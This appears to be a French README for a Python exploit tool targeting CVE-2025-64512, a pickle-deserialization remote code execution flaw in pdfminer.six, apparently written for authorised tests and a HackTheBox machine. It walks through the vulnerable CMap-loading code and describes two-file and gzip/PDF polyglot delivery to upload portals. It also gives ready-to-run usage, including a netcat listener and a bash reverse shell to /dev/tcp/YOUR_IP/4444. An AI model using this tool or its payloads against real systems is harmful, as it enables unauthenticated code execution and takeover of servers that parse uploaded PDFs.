PoC Python pour CVE-2025-64512, une RCE par désérialisation de pickle dans pdfminer.six. Génère des charges utiles pickle compressées en gzip et des PDF polyglottes, puis les livre à des portails de téléversement pour des tests autorisés.
Python 3, stdlib uniquement (aucune installation pip). Pour les tests de sécurité autorisés et l'usage en CTF uniquement — vous êtes responsable du respect de la loi et des règles d'engagement de votre mission.
| CVE | CVE-2025-64512 |
| Affecté | pdfminer.six < 20251107 (corrigé dans 20251107 — les CMaps sont devenus du JSON) |
| Victimes en aval | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Type | CWE-502 désérialisation de données non fiables → RCE non authentifiée |
| PoC de référence | luigigubello/CVE-2025-64512-Polyglot-PoC (variante polyglotte mono-fichier) |
Cible testée : https://app.hackthebox.com/machines/Bedside
pdfminer.six est une bibliothèque Python populaire pour extraire du texte depuis des PDF. Les polices PDF
ont besoin de CMaps — des tables qui traduisent les codes de caractères en Unicode — et pdfminer
les fournit sous forme de pickles gzippés (<name>.pickle.gz) à l'intérieur de son propre paquet.
Regardez comment un CMap est chargé (pdfminer/cmapdb.py, toutes les versions antérieures à 20251107) :
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # ← attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Trois failles s'empilent :
name provient du PDF lui-même. L'entrée /Encoding d'une police Type0 (CID) est
un name PDF, et l'attaquant le contrôle entièrement. Les noms PDF ne peuvent pas contenir un
/ brut, il est donc écrit avec les échappements hexadécimaux standard RFC : le nom
/#2f#76#61#72#2f… se décode en /var/….os.path.join. Lorsque le second argument est absolu, le premier est
entièrement ignoré. Ainsi un nom /var/www/site/uploads/shell fait que pdfminer regarde
/var/www/site/uploads/shell.pickle.gz — n'importe quel chemin sur le disque — au lieu de son
propre répertoire CMap.pickle.loads() sur le contenu du fichier. Un pickle peut porter des instructions
« reconstruis-moi en appelant cette fonction » (__reduce__). Désérialiser des octets
contrôlés par l'attaquant = exécuter du code attaquant, à l'intérieur du processus qui a appelé pdfminer.Prérequis d'exploitation — le bug est trivialement exploitable sur toute application qui vous donne les deux moitiés de l'équation :
{"__reduce__": eval("__import__('os').system('<votre commande>')")}./Encoding nomme le chemin absolu de votre pickle.--mode two (par défaut) — uploade <name>.pickle.gz, puis <name>.pdf.
À utiliser chaque fois que la cible n'analyse que les fichiers avec une extension PDF
(par ex. un watcher qui glob uploads/*.pdf).--mode polyglot — uploade un seul fichier <name>.pickle.gz qui est à la fois
un gzip-pickle valide et un PDF valide : tout le PDF se cache dans le champ FCOMMENT
de l'en-tête gzip (la RFC 1952 autorise les commentaires ; la signature %PDF- se trouve
à l'octet 10, et les offsets xref sont pré-décalés pour que la table reste valide).
À utiliser lorsque la cible analyse tout fichier uploadé comme PDF quelle que soit
l'extension (convertisseurs de type markitdown).--verify), attend le cycle de
traitement de la cible (--wait), et peut préfixer un oracle de callback (--callback)
qui rappelle la maison avant l'exécution de votre commande — afin de prouver l'exécution même si
votre canal principal échoue.Rien à installer — Python 3.10+ (utilise la syntaxe str | None) :
chmod +x cve_2025_64512.py
Générez des payloads d'exemple et (si un pdfminer vulnérable est importable) exécutez-les dans votre propre Python pour prouver que la chaîne fonctionne avant de toucher une cible :
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
La sortie attendue se termine par SELFTEST PASS pour le déclencheur à deux fichiers et pour le
polyglotte. Vous pouvez aussi tester manuellement :
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Référence complète des arguments :